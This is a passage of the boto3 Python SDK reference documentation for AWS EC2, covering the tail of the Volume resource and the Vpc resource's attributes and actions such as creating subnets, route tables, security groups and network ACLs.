**AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +enable_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVolumeIO) + +**Request Syntax** + +response = volume.enable_io( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies a volume attribute. + +By default, all I/O operations for the volume are suspended when the data on the volume is determined to be potentially inconsistent, to prevent undetectable, latent data corruption. The I/O access to the volume can be resumed by first enabling I/O access and then checking the data consistency on your volume. + +You can change the default behavior to resume I/O operations. We recommend that you change this only for boot volumes or for volumes that are stateless or disposable. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVolumeAttribute) + +**Request Syntax** + +response = volume.modify_attribute( + AutoEnableIO={ + 'Value': True|False + }, + DryRun=True|False +) + +Parameters + +* **AutoEnableIO** (_dict_) -- + + Indicates whether the volume should be auto-enabled for I/O operations. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_volumes()](#EC2.Client.describe_volumes "EC2.Client.describe_volumes") to update the attributes of the Volume resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +volume.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +snapshots + +A collection of Snapshot resources.A Snapshot Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.all() + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +filter(kwargs_) + +Creates an iterable of all Snapshot resources in the collection filtered by kwargs passed to method.A Snapshot collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.filter( + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **SnapshotIds** (_list_) -- + + The snapshot IDs. + + Default: Describes the snapshots for which you have create volume permissions. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Snapshot resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +page_size(kwargs_) + +Creates an iterable of all Snapshot resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +snapshot_iterator = volume.snapshots.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Snapshot) + +Returns + +A list of Snapshot resources + +[Vpc](#id1256) +---------------------------------------------------- + +_class_ EC2.Vpc(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Vpc: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Vpc.id "EC2.Vpc.id") + +These are the resource's available attributes: + +* [cidr_block](#EC2.Vpc.cidr_block "EC2.Vpc.cidr_block") +* [cidr_block_association_set](#EC2.Vpc.cidr_block_association_set "EC2.Vpc.cidr_block_association_set") +* [dhcp_options_id](#EC2.Vpc.dhcp_options_id "EC2.Vpc.dhcp_options_id") +* [instance_tenancy](#EC2.Vpc.instance_tenancy "EC2.Vpc.instance_tenancy") +* [ipv6_cidr_block_association_set](#EC2.Vpc.ipv6_cidr_block_association_set "EC2.Vpc.ipv6_cidr_block_association_set") +* [is_default](#EC2.Vpc.is_default "EC2.Vpc.is_default") +* [owner_id](#EC2.Vpc.owner_id "EC2.Vpc.owner_id") +* [state](#EC2.Vpc.state "EC2.Vpc.state") +* [tags](#EC2.Vpc.tags "EC2.Vpc.tags") +* [vpc_id](#EC2.Vpc.vpc_id "EC2.Vpc.vpc_id") + +These are the resource's available references: + +* [dhcp_options](#EC2.Vpc.dhcp_options "EC2.Vpc.dhcp_options") + +These are the resource's available actions: + +* [associate_dhcp_options()](#EC2.Vpc.associate_dhcp_options "EC2.Vpc.associate_dhcp_options") +* [attach_classic_link_instance()](#EC2.Vpc.attach_classic_link_instance "EC2.Vpc.attach_classic_link_instance") +* [attach_internet_gateway()](#EC2.Vpc.attach_internet_gateway "EC2.Vpc.attach_internet_gateway") +* [create_network_acl()](#EC2.Vpc.create_network_acl "EC2.Vpc.create_network_acl") +* [create_route_table()](#EC2.Vpc.create_route_table "EC2.Vpc.create_route_table") +* [create_security_group()](#EC2.Vpc.create_security_group "EC2.Vpc.create_security_group") +* [create_subnet()](#EC2.Vpc.create_subnet "EC2.Vpc.create_subnet") +* [create_tags()](#EC2.Vpc.create_tags "EC2.Vpc.create_tags") +* [delete()](#EC2.Vpc.delete "EC2.Vpc.delete") +* [describe_attribute()](#EC2.Vpc.describe_attribute "EC2.Vpc.describe_attribute") +* [detach_classic_link_instance()](#EC2.Vpc.detach_classic_link_instance "EC2.Vpc.detach_classic_link_instance") +* [detach_internet_gateway()](#EC2.Vpc.detach_internet_gateway "EC2.Vpc.detach_internet_gateway") +* [disable_classic_link()](#EC2.Vpc.disable_classic_link "EC2.Vpc.disable_classic_link") +* [enable_classic_link()](#EC2.Vpc.enable_classic_link "EC2.Vpc.enable_classic_link") +* [get_available_subresources()](#EC2.Vpc.get_available_subresources "EC2.Vpc.get_available_subresources") +* [load()](#EC2.Vpc.load "EC2.Vpc.load") +* [modify_attribute()](#EC2.Vpc.modify_attribute "EC2.Vpc.modify_attribute") +* [reload()](#EC2.Vpc.reload "EC2.Vpc.reload") +* [request_vpc_peering_connection()](#EC2.Vpc.request_vpc_peering_connection "EC2.Vpc.request_vpc_peering_connection") + +These are the resource's available collections: + +* [accepted_vpc_peering_connections](#EC2.Vpc.accepted_vpc_peering_connections "EC2.Vpc.accepted_vpc_peering_connections") +* [instances](#EC2.Vpc.instances "EC2.Vpc.instances") +* [internet_gateways](#EC2.Vpc.internet_gateways "EC2.Vpc.internet_gateways") +* [network_acls](#EC2.Vpc.network_acls "EC2.Vpc.network_acls") +* [network_interfaces](#EC2.Vpc.network_interfaces "EC2.Vpc.network_interfaces") +* [requested_vpc_peering_connections](#EC2.Vpc.requested_vpc_peering_connections "EC2.Vpc.requested_vpc_peering_connections") +* [route_tables](#EC2.Vpc.route_tables "EC2.Vpc.route_tables") +* [security_groups](#EC2.Vpc.security_groups "EC2.Vpc.security_groups") +* [subnets](#EC2.Vpc.subnets "EC2.Vpc.subnets") + +These are the resource's available waiters: + +* [wait_until_available()](#EC2.Vpc.wait_until_available "EC2.Vpc.wait_until_available") +* [wait_until_exists()](#EC2.Vpc.wait_until_exists "EC2.Vpc.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Vpc's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Vpc.load "EC2.Vpc.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +cidr_block + +* _(string) --_ + + The primary IPv4 CIDR block for the VPC. + + +cidr_block_association_set + +* _(list) --_ + + Information about the IPv4 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + +dhcp_options_id + +* _(string) --_ + + The ID of the set of DHCP options you've associated with the VPC. + + +instance_tenancy + +* _(string) --_ + + The allowed tenancy of instances launched into the VPC. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a VPC. + + * **AssociationId** _(string) --_ + + The association ID for the IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of the CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **NetworkBorderGroup** _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses, for example, us-east-1-wl1-bos-wlz-1 . + + * **Ipv6Pool** _(string) --_ + + The ID of the IPv6 address pool from which the IPv6 CIDR block is allocated. + + +is_default + +* _(boolean) --_ + + Indicates whether the VPC is the default VPC. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the VPC. + + +state + +* _(string) --_ + + The current state of the VPC. + + +tags + +* _(list) --_ + + Any tags assigned to the VPC. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +dhcp_options + +(DhcpOptions) The related dhcp_options if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_dhcp_options(kwargs_) + +Associates a set of DHCP options (that you've previously created) with the specified VPC, or associates no DHCP options with the VPC. + +After you associate the options with the VPC, any existing instances and all new instances that you launch in that VPC use the options. You don't need to restart or relaunch the instances. They automatically pick up the changes within a few hours, depending on how frequently the instance renews its DHCP lease. You can explicitly renew the lease using the operating system on the instance. + +For more information, see [DHCP Options Sets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_DHCP_Options.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateDhcpOptions) + +**Request Syntax** + +response = vpc.associate_dhcp_options( + DhcpOptionsId='string', + DryRun=True|False +) + +Parameters + +* **DhcpOptionsId** (_string_) -- + + **[REQUIRED]** + + The ID of the DHCP options set, or default to associate no DHCP options with the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +attach_classic_link_instance(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = vpc.attach_classic_link_instance( + DryRun=True|False, + Groups=[ + 'string', + ], + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + * _(string) --_ +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of an EC2-Classic instance to link to the ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_internet_gateway(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = vpc.attach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +create_network_acl(kwargs_) + +Creates a network ACL in a VPC. Network ACLs provide an optional layer of security (in addition to security groups) for the instances in your VPC. + +For more information, see [Network ACLs](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_ACLs.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateNetworkAcl) + +**Request Syntax** + +network_acl = vpc.create_network_acl( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the network ACL. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1143)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1145)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.NetworkAcl + +Returns + +NetworkAcl resource + +create_route_table(kwargs_) + +Creates a route table for the specified VPC. After you create a route table, you can add routes and associate the table with a subnet. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRouteTable) + +**Request Syntax** + +route_table = vpc.create_route_table( + DryRun=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **TagSpecifications** (_list_) -- + + The tags to assign to the route table. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1148)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1150)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.RouteTable + +Returns + +RouteTable resource + +create_security_group(kwargs_) + +Creates a security group. + +A security group acts as a virtual firewall for your instance to control inbound and outbound traffic. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +When you create a security group, you specify a friendly name of your choice. You can have a security group for use in EC2-Classic with the same name as a security group for use in a VPC. However, you can't have two security groups for use in EC2-Classic with the same name or two security groups for use in a VPC with the same name. + +You have a default security group for use in EC2-Classic and a default security group for use in your VPC. If you don't specify a security group when you launch an instance, the instance is launched into the appropriate default security group. A default security group includes a default rule that grants instances unrestricted network access to each other. + +You can add or remove rules from your security groups using AuthorizeSecurityGroupIngress , AuthorizeSecurityGroupEgress , RevokeSecurityGroupIngress , and RevokeSecurityGroupEgress . + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSecurityGroup) + +**Request Syntax** + +security_group = vpc.create_security_group( + Description='string', + GroupName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- + + **[REQUIRED]** + + A description for the security group. This is informational only. + + Constraints: Up to 255 characters in length + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the security group. + + Constraints: Up to 255 characters in length. Cannot start with sg- . + + Constraints for EC2-Classic: ASCII characters + + Constraints for EC2-VPC: a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + +* **TagSpecifications** (_list_) -- + + The tags to assign to the security group. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1153)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1155)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +ec2.SecurityGroup + +Returns + +SecurityGroup resource + +create_subnet(kwargs_) + +Creates a subnet in a specified VPC. + +You must specify an IPv4 CIDR block for the subnet. After you create a subnet, you can't change its CIDR block. The allowed block size is between a /16 netmask (65,536 IP addresses) and /28 netmask (16 IP addresses). The CIDR block must not overlap with the CIDR block of an existing subnet in the VPC. + +If you've associated an IPv6 CIDR block with your VPC, you can create a subnet with an IPv6 CIDR block that uses a /64 prefix length. + +Warning + +AWS reserves both the first four and the last IPv4 address in each subnet's CIDR block. They're not available for use. + +If you add more than one subnet to a VPC, they're set up in a star topology with a logical router in the middle. + +When you stop an instance in a subnet, it retains its private IPv4 address. It's therefore possible to have a subnet with no running instances (they're all stopped), but no remaining IP addresses available. + +For more information about subnets, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateSubnet) + +**Request Syntax** + +subnet = vpc.create_subnet( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + AvailabilityZone='string', + AvailabilityZoneId='string', + CidrBlock='string', + Ipv6CidrBlock='string', + OutpostArn='string', + DryRun=True|False +) + +Parameters + +* **TagSpecifications** (_list_) -- + + The tags to assign to the subnet. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | 